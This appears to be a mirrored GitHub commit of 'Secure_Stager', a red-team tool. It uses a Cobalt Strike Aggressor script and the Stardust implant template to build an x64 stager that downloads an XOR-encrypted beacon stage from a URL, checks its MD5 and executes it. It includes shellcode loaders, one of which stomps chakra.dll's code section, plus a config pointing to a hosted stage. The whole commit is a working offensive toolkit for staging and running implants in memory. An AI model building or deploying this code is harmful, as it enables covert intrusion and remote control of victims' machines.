mirror of
https://github.com/Octoberfest7/Secure_Stager
synced 2026-06-06 16:24:32 +00:00
Initial commit
This commit is contained in:
@@ -0,0 +1,91 @@
|
||||
global('$listener $filename $shellcode $script')
|
||||
|
||||
#This function executes system commands and retrieves/parses the output.
|
||||
sub ExecuteCmd
|
||||
{
|
||||
local('$command $output $data');
|
||||
$command = $1;
|
||||
|
||||
#Append instructions to command to redirect stderr to processStdout
|
||||
$command = $command . " 2>&1";
|
||||
|
||||
#Run command in a subshell to redirect stderr -> processStdout
|
||||
$data = exec(@("/bin/sh", "-c", $command));
|
||||
|
||||
if($debug == 1)
|
||||
{
|
||||
println("Debug: " . $command);
|
||||
}
|
||||
|
||||
$output = join("\n", readAll($data));
|
||||
|
||||
return $output;
|
||||
}
|
||||
|
||||
popup payloads
|
||||
{
|
||||
item "Secure Stager"
|
||||
{
|
||||
local('$dialog %defaults');
|
||||
|
||||
# create our dialog
|
||||
$dialog = dialog("Secure Stager Generation", %defaults, &gen_shellcode);
|
||||
dialog_description($dialog, "Select a listener to generate an x64 secure stager for. Specify the URL that the stage will be hosted at (e.g. https://mycooldomain.com/important.bin)");
|
||||
drow_listener_stage($dialog, "listener", "(*) Listener: ");
|
||||
drow_text($dialog, "stage_url", "(*) URL for hosted stage: ");
|
||||
dbutton_action($dialog, "Save");
|
||||
|
||||
# show our dialog
|
||||
dialog_show($dialog);
|
||||
}
|
||||
}
|
||||
|
||||
sub gen_secure_stager
|
||||
{
|
||||
local('$command $output')
|
||||
# Validate no space exists in url
|
||||
if(" " isin $1)
|
||||
{
|
||||
show_error("Filename cannot have spaces!");
|
||||
exit();
|
||||
}
|
||||
|
||||
# Write shellcode to disk
|
||||
$handle = openf("> $+ $1");
|
||||
writeb($handle, $shellcode);
|
||||
closef($handle);
|
||||
|
||||
# Set $filename to whatever was actually used by save prompt
|
||||
$filename = $1;
|
||||
|
||||
# Call secure_stager.py to generate secure stager
|
||||
$command = "$script $filename $stage_url";
|
||||
$output = ExecuteCmd($command);
|
||||
|
||||
# If secure_stager.py failed, delete original shellcode file
|
||||
if('[-]' isin $output)
|
||||
{
|
||||
deleteFile($filename);
|
||||
}
|
||||
|
||||
# Print info to console just in case
|
||||
println("\n$output");
|
||||
|
||||
# Pop window with output
|
||||
show_message("$output\n\nThis information is also available in the script console.");
|
||||
}
|
||||
|
||||
sub gen_shellcode
|
||||
{
|
||||
# Set global variables
|
||||
$listener = $3['listener'];
|
||||
$filename = substr($3['stage_url'], lindexOf($3['listener'], "/"));
|
||||
$stage_url = $3['stage_url'];
|
||||
$script = script_resource("../secure_stager.py");
|
||||
|
||||
# Generate shellcode using selected listener
|
||||
$shellcode = artifact_payload($3['listener'], "raw", "x64", "process", "None");
|
||||
|
||||
# Save shellcode to disk
|
||||
prompt_file_save($filename, &gen_secure_stager);
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
# Secure Stager
|
||||
|
||||
This project demonstrates an x64 position-independent stager that verifies the stage it downloads prior to executing it. This offers a safeguard against man-in-the-middle attacks for those who are concerned about such things. Final stager size ~4100 bytes.
|
||||
|
||||
## Technical Implementation
|
||||
|
||||
The stager generated by this tool was built using the [Stardust](https://github.com/Cracked5pider/Stardust) framework. Using user input, a header file (Config.h) is produced and compiled into the stager by secure_stager.py.
|
||||
|
||||
The validity of the retrieved stage is verified using its MD5 checksum. During the generation process the hash of the payload stage is determined and then used to XOR encrypt it. This hash is then compiled into the stager. At runtime the stager downloads the stage from the target URL (provided during generation), XOR decrypts it using the original MD5 hash, and then retrieves the MD5 hash of the decrypted stage in order to compare it against the original. If they match, the stage is executed.
|
||||
|
||||
## Cobalt Strike Integration
|
||||
|
||||
This tool can be integrated into Cobalt Strike through the use of the secure_stager.cna Aggressor script. After loading it in the script manager, the `Secure Stager` menu item can be found under `Payloads`. After selecting a listener and specifying the URL that the payload will be available at, the Aggressor script will generate a raw x64 stageless beacon and save it to disk before calling secure_stager.py to generate the stager.
|
||||
|
||||
Secure stager functionality within Cobalt Strike is particularly attractive because Cobalt Strike's built-in stager functionality neither verifies the retrieved stage nor fetches a stage that reflects user modifications to the sleepmask or UDRL. This toolkit both ensures the validity of the stage and that the fetched stage will contain user-modified sleepmask/UDRL/etc.
|
||||
|
||||
## Usage
|
||||
|
||||
Command Line Syntax: `./secure_stager.py </path/to/raw/file> <HTTPS url that stage will be hosted at>`.
|
||||
|
||||
Example: `./secure_stager.py /home/kali/beacon_x64.bin https://www.myhostingdomain.com/aboutus`.
|
||||
|
||||
After the python script completes, host the produced encrypted stage at the URL that you provided to the tool. Next include the generated stager in your favorite dropper/shellcode runner.
|
||||
|
||||
## Notes
|
||||
|
||||
There are no AV/EDR evasion methods built into the stager; that is the job of your shellcode runner. After the stage has been downloaded and verified it will be executed in the same thread as the stager via function pointer.
|
||||
|
||||
## Further work
|
||||
1. Make stager proxy-aware.
|
||||
2. Add customization options for request headers.
|
||||
|
||||
## Credits
|
||||
1. [@C5pider](https://x.com/C5pider) for Stardust
|
||||
2. Various StackOverflow posts
|
||||
@@ -0,0 +1,21 @@
|
||||
cmake_minimum_required( VERSION 3.27 )
|
||||
project( Stardust )
|
||||
|
||||
set( CMAKE_CXX_STANDARD 11 )
|
||||
set( CMAKE_CXX_COMPILER x86_64-w64-mingw32-g++ )
|
||||
set( CMAKE_CXX_FLAGS ${COMPILE_FLAGS} )
|
||||
|
||||
set( CMAKE_C_STANDARD 11 )
|
||||
set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc )
|
||||
set( CMAKE_C_FLAGS ${COMPILE_FLAGS} )
|
||||
|
||||
include_directories( include )
|
||||
|
||||
set( STARDUST-SRC
|
||||
src/PreMain.c
|
||||
src/Main.c
|
||||
src/Ldr.c
|
||||
src/Utils.c
|
||||
)
|
||||
|
||||
add_executable( Stardust ${STARDUST-SRC} )
|
||||
@@ -0,0 +1,51 @@
|
||||
# Stardust
|
||||
|
||||
An modern 64-bit position independent implant template.
|
||||
|
||||
- raw strings
|
||||
- global instance
|
||||
- compile time hashing
|
||||
|
||||
```c
|
||||
#include <Common.h>
|
||||
#include <Constexpr.h>
|
||||
|
||||
FUNC VOID Main(
|
||||
_In_ PVOID Param
|
||||
) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
PVOID Message = { 0 };
|
||||
|
||||
//
|
||||
// resolve kernel32.dll related functions
|
||||
//
|
||||
if ( ( Instance()->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
|
||||
if ( ! ( Instance()->Win32.LoadLibraryW = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "LoadLibraryW" ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// resolve user32.dll related functions
|
||||
//
|
||||
if ( ( Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW( L"User32" ) ) ) {
|
||||
if ( ! ( Instance()->Win32.MessageBoxW = LdrFunction( Instance()->Modules.User32, HASH_STR( "MessageBoxW" ) ) ) ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
Message = NtCurrentPeb()->ProcessParameters->ImagePathName.Buffer;
|
||||
|
||||
//
|
||||
// pop da message
|
||||
//
|
||||
Instance()->Win32.MessageBoxW( NULL, Message, L"Stardust MessageBox", MB_OK );
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## How does it work ?
|
||||
I have written a [Blog post](https://5pider.net/blog/2024/01/27/modern-shellcode-implant-design/) about how it fully works and the reason behind it.
|
||||
|
||||

|
||||
@@ -0,0 +1,83 @@
|
||||
;;
|
||||
;; Stardust
|
||||
;;
|
||||
|
||||
[BITS 64]
|
||||
|
||||
;;
|
||||
;; tell the compiler to access
|
||||
;; symbols relative to RIP
|
||||
;;
|
||||
DEFAULT REL
|
||||
|
||||
;;
|
||||
;; Import
|
||||
;;
|
||||
EXTERN PreMain
|
||||
|
||||
;;
|
||||
;; Export
|
||||
;;
|
||||
GLOBAL Start
|
||||
GLOBAL StRipStart
|
||||
GLOBAL StRipEnd
|
||||
|
||||
;;
|
||||
;; Main shellcode entrypoint.
|
||||
;;
|
||||
[SECTION .text$A]
|
||||
;;
|
||||
;; shellcode entrypoint
|
||||
;; aligns the stack by 16-bytes to avoid any unwanted
|
||||
;; crashes while calling win32 functions and execute
|
||||
;; the true C code entrypoint
|
||||
;;
|
||||
Start:
|
||||
push rsi
|
||||
mov rsi, rsp
|
||||
and rsp, 0FFFFFFFFFFFFFFF0h
|
||||
sub rsp, 020h
|
||||
call PreMain
|
||||
mov rsp, rsi
|
||||
pop rsi
|
||||
ret
|
||||
|
||||
;;
|
||||
;; get rip to the start of the agent
|
||||
;;
|
||||
StRipStart:
|
||||
call StRipPtrStart
|
||||
ret
|
||||
|
||||
;;
|
||||
;; get the return address of StRipStart and put it into the rax register
|
||||
;;
|
||||
StRipPtrStart:
|
||||
mov rax, [rsp] ;; get the return address
|
||||
sub rax, 0x1b ;; subtract the instructions size to get the base address
|
||||
ret ;; return to StRipStart
|
||||
|
||||
;;
|
||||
;; end of the implant code
|
||||
;;
|
||||
[SECTION .text$E]
|
||||
|
||||
;;
|
||||
;; get end of the implant
|
||||
;;
|
||||
StRipEnd:
|
||||
call StRetPtrEnd
|
||||
ret
|
||||
|
||||
;;
|
||||
;; get the return address of StRipEnd and put it into the rax register
|
||||
;;
|
||||
StRetPtrEnd:
|
||||
mov rax, [rsp] ;; get the return address
|
||||
add rax, 0xb ;; get implant end address
|
||||
ret ;; return to StRipEnd
|
||||
|
||||
[SECTION .text$P]
|
||||
|
||||
SymStardustEnd:
|
||||
db 'S', 'T', 'A', 'R', 'D', 'U', 'S', 'T', '-', 'E', 'N', 'D'
|
||||
@@ -0,0 +1,113 @@
|
||||
#ifndef STARDUST_COMMON_H
|
||||
#define STARDUST_COMMON_H
|
||||
|
||||
//
|
||||
// system headers
|
||||
//
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <wincrypt.h>
|
||||
#include <cstdio>
|
||||
|
||||
//
|
||||
// stardust headers
|
||||
//
|
||||
#include <Native.h>
|
||||
#include <Macros.h>
|
||||
#include <Ldr.h>
|
||||
#include <Defs.h>
|
||||
#include <Utils.h>
|
||||
#include <Config.h>
|
||||
|
||||
//
|
||||
// stardust instances
|
||||
//
|
||||
EXTERN_C ULONG __Instance_offset;
|
||||
EXTERN_C PVOID __Instance;
|
||||
|
||||
typedef struct _INSTANCE {
|
||||
|
||||
//
|
||||
// base address and size
|
||||
// of the implant
|
||||
//
|
||||
BUFFER Base;
|
||||
|
||||
struct {
|
||||
|
||||
//
|
||||
// Ntdll.dll
|
||||
//
|
||||
D_API( RtlAllocateHeap )
|
||||
D_API( NtProtectVirtualMemory )
|
||||
|
||||
//
|
||||
// kernel32.dll
|
||||
//
|
||||
D_API( LoadLibraryW )
|
||||
D_API( VirtualAlloc )
|
||||
D_API( VirtualProtect )
|
||||
D_API( VirtualFree )
|
||||
D_API( GetLastError )
|
||||
|
||||
//
|
||||
// User32.dll
|
||||
//
|
||||
D_API( MessageBoxA )
|
||||
|
||||
//
|
||||
// Msvcrt.dll
|
||||
//
|
||||
D_API ( strlen );
|
||||
D_API ( strcmp)
|
||||
D_API ( sprintf );
|
||||
D_API ( calloc );
|
||||
D_API ( memset );
|
||||
D_API ( free );
|
||||
|
||||
//
|
||||
// Wininet.dll
|
||||
//
|
||||
D_API( InternetOpenA );
|
||||
D_API( InternetConnectA );
|
||||
D_API( HttpOpenRequestA );
|
||||
D_API( HttpSendRequestA );
|
||||
D_API( HttpQueryInfoA );
|
||||
D_API( InternetQueryOptionA );
|
||||
D_API( InternetSetOptionA );
|
||||
D_API( InternetReadFile );
|
||||
D_API( InternetCloseHandle );
|
||||
|
||||
//
|
||||
// Advapi.dll
|
||||
//
|
||||
D_API( CryptAcquireContextA );
|
||||
D_API( CryptCreateHash );
|
||||
D_API( CryptHashData );
|
||||
D_API( CryptGetHashParam );
|
||||
D_API( CryptDestroyHash );
|
||||
D_API( CryptReleaseContext );
|
||||
|
||||
} Win32;
|
||||
|
||||
struct {
|
||||
PVOID Ntdll;
|
||||
PVOID Kernel32;
|
||||
PVOID User32;
|
||||
PVOID Msvcrt;
|
||||
PVOID Wininet;
|
||||
PVOID Advapi32;
|
||||
} Modules;
|
||||
|
||||
} INSTANCE, *PINSTANCE;
|
||||
|
||||
EXTERN_C PVOID StRipStart();
|
||||
EXTERN_C PVOID StRipEnd();
|
||||
|
||||
VOID Main(
|
||||
_In_ PVOID Param
|
||||
);
|
||||
|
||||
#define MD5LEN 16
|
||||
|
||||
#endif //STARDUST_COMMON_H
|
||||
@@ -0,0 +1,3 @@
|
||||
#define MD5HASH "10bd8749330fa44579036b2da5b6a375"
|
||||
#define URL "192.168.1.251"
|
||||
#define URI "/pears"
|
||||
@@ -0,0 +1,32 @@
|
||||
#ifndef STARDUST_CONSTEXPR_H
|
||||
#define STARDUST_CONSTEXPR_H
|
||||
|
||||
#include <Common.h>
|
||||
|
||||
#define HASH_STR( x ) ExprHashStringA( ( x ) )
|
||||
|
||||
CONSTEXPR ULONG ExprHashStringA(
|
||||
_In_ PCHAR String
|
||||
) {
|
||||
ULONG Hash = { 0 };
|
||||
CHAR Char = { 0 };
|
||||
|
||||
Hash = H_MAGIC_KEY;
|
||||
|
||||
if ( ! String ) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
while ( ( Char = *String++ ) ) {
|
||||
/* turn current character to uppercase */
|
||||
if ( Char >= 'a' ) {
|
||||
Char -= 0x20;
|
||||
}
|
||||
|
||||
Hash = ( ( Hash << H_MAGIC_SEED ) + Hash ) + Char;
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#endif //STARDUST_CONSTEXPR_H
|
||||
@@ -0,0 +1,20 @@
|
||||
#ifndef STARDUST_DEFS_H
|
||||
#define STARDUST_DEFS_H
|
||||
|
||||
#include <Common.h>
|
||||
|
||||
typedef struct _BUFFER {
|
||||
PVOID Buffer;
|
||||
ULONG Length;
|
||||
} BUFFER, *PBUFFER;
|
||||
|
||||
//
|
||||
// Hashing defines
|
||||
//
|
||||
#define H_MAGIC_KEY 5381
|
||||
#define H_MAGIC_SEED 5
|
||||
#define H_MODULE_NTDLL 0x70e61753
|
||||
#define H_MODULE_KERNEL32 0xadd31df0
|
||||
|
||||
|
||||
#endif //STARDUST_DEFS_H
|
||||
@@ -0,0 +1,15 @@
|
||||
#ifndef STARDUST_LDR_H
|
||||
#define STARDUST_LDR_H
|
||||
|
||||
#include <Common.h>
|
||||
|
||||
PVOID LdrModulePeb(
|
||||
_In_ ULONG Hash
|
||||
);
|
||||
|
||||
PVOID LdrFunction(
|
||||
_In_ PVOID Module,
|
||||
_In_ ULONG Function
|
||||
);
|
||||
|
||||
#endif //STARDUST_LDR_H
|
||||
@@ -0,0 +1,59 @@
|
||||
#ifndef STARDUST_MACROS_H
|
||||
#define STARDUST_MACROS_H
|
||||
|
||||
//
|
||||
// instance related macros
|
||||
//
|
||||
#define InstanceOffset() ( U_PTR( & __Instance_offset ) )
|
||||
#define InstancePtr() ( ( PINSTANCE ) C_DEF( C_PTR( U_PTR( StRipStart() ) + InstanceOffset() ) ) )
|
||||
#define Instance() ( ( PINSTANCE ) __LocalInstance )
|
||||
#define STARDUST_INSTANCE PINSTANCE __LocalInstance = InstancePtr();
|
||||
|
||||
|
||||
//
|
||||
// utils macros
|
||||
//
|
||||
#define D_API( x ) __typeof__( x ) * x;
|
||||
#define D_SEC( x ) __attribute__( ( section( ".text$" #x "" ) ) )
|
||||
#define FUNC D_SEC( B )
|
||||
#define ST_GLOBAL __attribute__( ( section( ".global" ) ) )
|
||||
#define ST_READONLY __attribute__( ( section( ".rdata" ) ) )
|
||||
|
||||
//
|
||||
// casting macros
|
||||
//
|
||||
#define C_PTR( x ) ( ( PVOID ) ( x ) )
|
||||
#define U_PTR( x ) ( ( UINT_PTR ) ( x ) )
|
||||
#define U_PTR32( x ) ( ( ULONG ) ( x ) )
|
||||
#define U_PTR64( x ) ( ( ULONG64 ) ( x ) )
|
||||
#define A_PTR( x ) ( ( PCHAR ) ( x ) )
|
||||
#define W_PTR( x ) ( ( PWCHAR ) ( x ) )
|
||||
|
||||
//
|
||||
// dereference memory macros
|
||||
//
|
||||
#define C_DEF( x ) ( * ( PVOID* ) ( x ) )
|
||||
#define C_DEF08( x ) ( * ( UINT8* ) ( x ) )
|
||||
#define C_DEF16( x ) ( * ( UINT16* ) ( x ) )
|
||||
#define C_DEF32( x ) ( * ( UINT32* ) ( x ) )
|
||||
#define C_DEF64( x ) ( * ( UINT64* ) ( x ) )
|
||||
|
||||
//
|
||||
// memory related macros
|
||||
//
|
||||
#define MmCopy __builtin_memcpy
|
||||
#define MmSet __stosb
|
||||
#define MmZero RtlSecureZeroMemory
|
||||
|
||||
/* Clion IDE hacks */
|
||||
#ifdef __cplusplus
|
||||
#define CONSTEXPR constexpr
|
||||
#define TEMPLATE_TYPENAME template <typename T>
|
||||
#define INLINE inline
|
||||
#else
|
||||
#define CONSTEXPR
|
||||
#define TEMPLATE_TYPENAME
|
||||
#define INLINE
|
||||
#endif
|
||||
|
||||
#endif //STARDUST_MACROS_H
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,9 @@
|
||||
#ifndef STARDUST_UTILS_H
|
||||
#define STARDUST_UTILS_H
|
||||
|
||||
ULONG HashString(
|
||||
_In_ PVOID String,
|
||||
_In_ SIZE_T Length
|
||||
);
|
||||
|
||||
#endif //STARDUST_UTILS_H
|
||||
@@ -0,0 +1,71 @@
|
||||
MAKEFLAGS += "-s -j 16"
|
||||
|
||||
##
|
||||
## Project name
|
||||
##
|
||||
Project := stardust
|
||||
|
||||
##
|
||||
## Compilers
|
||||
##
|
||||
CC_X64 := x86_64-w64-mingw32-g++
|
||||
|
||||
##
|
||||
## Compiler flags
|
||||
##
|
||||
CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib
|
||||
CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1
|
||||
CFLAGS += -s -ffunction-sections -falign-jumps=1 -w
|
||||
CFLAGS += -falign-labels=1 -fPIC -Wl,-Tscripts/Linker.ld
|
||||
CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup
|
||||
CFLAGS += -Iinclude -masm=intel -fpermissive -mrdrnd
|
||||
|
||||
##
|
||||
## Stardust source and object files
|
||||
##
|
||||
STAR-SRC := $(wildcard src/*.c)
|
||||
STAR-OBJ := $(STAR-SRC:%.c=%.o)
|
||||
|
||||
##
|
||||
## x64 binaries
|
||||
##
|
||||
EXE-X64 := bin/$(Project).x64.exe
|
||||
BIN-X64 := bin/$(Project).x64.bin
|
||||
|
||||
##
|
||||
## main target
|
||||
##
|
||||
all: x64
|
||||
|
||||
##
|
||||
## Build stardust source into an
|
||||
## executable and extract shellcode
|
||||
##
|
||||
x64: clean asm-x64 $(STAR-OBJ)
|
||||
@ echo "[+] compile x64 executable"
|
||||
@ $(CC_X64) bin/obj/*.x64.o -o $(EXE-X64) $(CFLAGS)
|
||||
@ python3 scripts/build.py -f $(EXE-X64) -o $(BIN-X64)
|
||||
@ rm $(EXE-X64)
|
||||
|
||||
##
|
||||
## Build source to object files
|
||||
##
|
||||
$(STAR-OBJ):
|
||||
@ $(CC_X64) -o bin/obj/$(Project)_$(basename $(notdir $@)).x64.o -c $(basename $@).c $(CFLAGS)
|
||||
|
||||
##
|
||||
## Build assemlby source to object files
|
||||
##
|
||||
asm-x64:
|
||||
@ echo "[*] compile assembly files"
|
||||
@ nasm -f win64 asm/x64/Stardust.asm -o bin/obj/asm_Stardust.x64.o
|
||||
|
||||
##
|
||||
## Clean object files and other binaries
|
||||
##
|
||||
clean:
|
||||
@ rm -rf .idea
|
||||
@ rm -rf bin/obj/*.o
|
||||
@ rm -rf bin/*.bin
|
||||
@ rm -rf bin/*.exe
|
||||
@ rm -rf cmake-build-debug
|
||||
@@ -0,0 +1,24 @@
|
||||
LINK_BASE = 0x0000;
|
||||
|
||||
ENTRY( Start )
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = LINK_BASE;
|
||||
.text : {
|
||||
. = LINK_BASE;
|
||||
*( .text$A );
|
||||
*( .text$B );
|
||||
*( .rdata* );
|
||||
FILL( 0x00 )
|
||||
. = ALIGN( 0x1000 );
|
||||
__Instance_offset = .;
|
||||
*( .global );
|
||||
*( .text$E );
|
||||
*( .text$P );
|
||||
}
|
||||
|
||||
.eh_frame : {
|
||||
*( .eh_frame )
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding:utf-8 -*-
|
||||
|
||||
import pefile
|
||||
import argparse
|
||||
|
||||
STARDUST_END : bytes = b'STARDUST-END'
|
||||
PAGE_SIZE : int = 0x1000
|
||||
|
||||
##
|
||||
## calculates the given size to pages
|
||||
##
|
||||
def size_to_pages( size: int ) -> int:
|
||||
PAGE_MASK : int = 0xfff
|
||||
BASE_PAGE_SHIFT : int = 12
|
||||
|
||||
return ( size >> BASE_PAGE_SHIFT ) + ( ( size & PAGE_MASK ) != 0 )
|
||||
|
||||
##
|
||||
## parse specified executable file and
|
||||
## save .text section shellcode into a file
|
||||
##
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' )
|
||||
parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str )
|
||||
parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str )
|
||||
option = parser.parse_args()
|
||||
|
||||
executable = pefile.PE( option.f )
|
||||
shellcode = bytearray( executable.sections[ 0 ].get_data() )
|
||||
shellcode = shellcode[ : shellcode.find( STARDUST_END ) ]
|
||||
size = len( shellcode )
|
||||
|
||||
##
|
||||
## calculate pages
|
||||
##
|
||||
pages = size_to_pages( size )
|
||||
padding = ( ( pages * PAGE_SIZE ) - size )
|
||||
|
||||
##
|
||||
## fill the padding to have a full page
|
||||
##
|
||||
# Commented this out as we don't need to pad to a new page for our purposes
|
||||
#for i in range( padding ):
|
||||
#shellcode.append( 0 )
|
||||
|
||||
##
|
||||
## get size of shellcode
|
||||
##
|
||||
size = len( shellcode )
|
||||
|
||||
##
|
||||
## print metadata
|
||||
##
|
||||
print( f"[*] payload len : { size - padding } bytes" )
|
||||
print( f"[*] size : { size } bytes" )
|
||||
print( f"[*] padding : { padding } bytes" )
|
||||
print( f"[*] page count : { size / PAGE_SIZE } pages" )
|
||||
|
||||
##
|
||||
## open shellcode file
|
||||
##
|
||||
file = open( option.o, 'wb+' )
|
||||
|
||||
##
|
||||
## write shellcode to file
|
||||
##
|
||||
file.write( shellcode )
|
||||
file.close()
|
||||
|
||||
return
|
||||
|
||||
if __name__ in '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,61 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) {
|
||||
PVOID ImageBuffer = NULL;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = NULL;
|
||||
|
||||
hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 );
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf( "Error opening %s\r\n", Path );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if ( MemorySize )
|
||||
*MemorySize = GetFileSize( hFile, 0 );
|
||||
ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize );
|
||||
|
||||
ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 );
|
||||
CloseHandle( hFile );
|
||||
|
||||
return ImageBuffer;
|
||||
}
|
||||
|
||||
typedef void ( * ShellcodeMain )();
|
||||
|
||||
int main( int argc, char** argv )
|
||||
{
|
||||
PVOID ShellcodeBytes = NULL;
|
||||
DWORD ShellcodeSize = 0;
|
||||
DWORD OldProtection = 0;
|
||||
|
||||
LPVOID ShellcodeMemory = NULL;
|
||||
|
||||
if ( argc < 2 )
|
||||
{
|
||||
printf( "[-] %s <shellcode path>\n", argv[ 0 ] );
|
||||
return 0;
|
||||
}
|
||||
|
||||
ShellcodeBytes = LoadFileIntoMemory( argv[ 1 ], &ShellcodeSize );
|
||||
ShellcodeMemory = VirtualAlloc( NULL, ShellcodeSize, MEM_COMMIT, PAGE_READWRITE );
|
||||
|
||||
if ( ! ShellcodeMemory )
|
||||
{
|
||||
printf("[-] Failed to allocate Virtual Memory\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf( "[*] Address => %p\n", ShellcodeMemory );
|
||||
|
||||
memcpy( ShellcodeMemory, ShellcodeBytes, ShellcodeSize );
|
||||
|
||||
VirtualProtect( ShellcodeMemory, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection );
|
||||
|
||||
puts("[+] Execute shellcode... press enter");
|
||||
getchar();
|
||||
|
||||
((ShellcodeMain)ShellcodeMemory)();
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../include/Native.h"
|
||||
#include "../include/Macros.h"
|
||||
|
||||
LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) {
|
||||
PVOID ImageBuffer = NULL;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = NULL;
|
||||
|
||||
hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 );
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf( "Error opening %s\r\n", Path );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if ( MemorySize )
|
||||
*MemorySize = GetFileSize( hFile, 0 );
|
||||
ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize );
|
||||
|
||||
ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 );
|
||||
CloseHandle( hFile );
|
||||
|
||||
return ImageBuffer;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS LdrpImageHeader(
|
||||
_In_ PVOID Image
|
||||
) {
|
||||
PIMAGE_DOS_HEADER DosHeader = { 0 };
|
||||
PIMAGE_NT_HEADERS NtHeader = { 0 };
|
||||
|
||||
DosHeader = C_PTR( Image );
|
||||
|
||||
if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
NtHeader = C_PTR( U_PTR( Image ) + DosHeader->e_lfanew );
|
||||
|
||||
if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return NtHeader;
|
||||
}
|
||||
|
||||
int main( int argc, char** argv ) {
|
||||
|
||||
PVOID MmBase = { 0 };
|
||||
PIMAGE_NT_HEADERS Header = { 0 };
|
||||
PIMAGE_SECTION_HEADER SecHdr = { 0 };
|
||||
NTSTATUS Status = { 0 };
|
||||
ULONG Protect = { 0 };
|
||||
PVOID Buffer = { 0 };
|
||||
ULONG Length = { 0 };
|
||||
HANDLE Thread = { 0 };
|
||||
|
||||
//
|
||||
// load shellcode into memory
|
||||
//
|
||||
if ( ! ( Buffer = LoadFileIntoMemory( argv[ 1 ], &Length ) ) ) {
|
||||
puts( "[!] Failed to load shellcode into memory" );
|
||||
goto END;
|
||||
} else printf( "[*] loaded \"%s\" @ %p [%ld bytes]\n", argv[ 1 ], Buffer, Length );
|
||||
|
||||
if ( ! ( MmBase = LoadLibraryExA( "chakra.dll", NULL, DONT_RESOLVE_DLL_REFERENCES ) ) ) {
|
||||
printf( "[!] LoadLibraryA Failed: %ld\n", GetLastError() );
|
||||
goto END;
|
||||
} else printf( "[*] loaded \"chakra.dll\" @ %p\n", MmBase );
|
||||
|
||||
Header = C_PTR( U_PTR( MmBase ) + ( ( PIMAGE_DOS_HEADER ) MmBase )->e_lfanew );
|
||||
|
||||
SecHdr = IMAGE_FIRST_SECTION( Header );
|
||||
for ( ULONG i = 0; i < Header->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( strcmp( C_PTR( SecHdr[ i ].Name ), ".text" ) ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
MmBase = MmBase + SecHdr->VirtualAddress;
|
||||
|
||||
printf( "[*] target code section @ %p [%ld bytes]\n", MmBase, SecHdr->SizeOfRawData );
|
||||
|
||||
if ( ! VirtualProtect( MmBase, SecHdr->SizeOfRawData, PAGE_READWRITE, & Protect ) ) {
|
||||
printf( "[!] VirtualProtect Failed: %ld\n", GetLastError() );
|
||||
goto END;
|
||||
}
|
||||
|
||||
memcpy( MmBase, Buffer, Length );
|
||||
|
||||
if ( ! VirtualProtect( MmBase, SecHdr->SizeOfRawData, Protect, & Protect ) ) {
|
||||
printf( "[!] VirtualProtect Failed: %ld\n", GetLastError() );
|
||||
goto END;
|
||||
}
|
||||
|
||||
puts( "[*] wrote shellcode into target module" );
|
||||
printf( "[*] press enter..." );
|
||||
getchar();
|
||||
|
||||
if ( ! ( Thread = CreateThread( NULL, 0, MmBase, NULL, 0, NULL ) ) ) {
|
||||
printf( "[*] CreateThread Failed: %ld\n", GetLastError() );
|
||||
goto END;
|
||||
}
|
||||
|
||||
WaitForSingleObject( Thread, INFINITE );
|
||||
|
||||
END:
|
||||
if ( Thread ) {
|
||||
CloseHandle( Thread );
|
||||
Thread = NULL;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
#include <Common.h>
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* resolve module from peb
|
||||
*
|
||||
* @param Buffer
|
||||
* Buffer: either string or hash
|
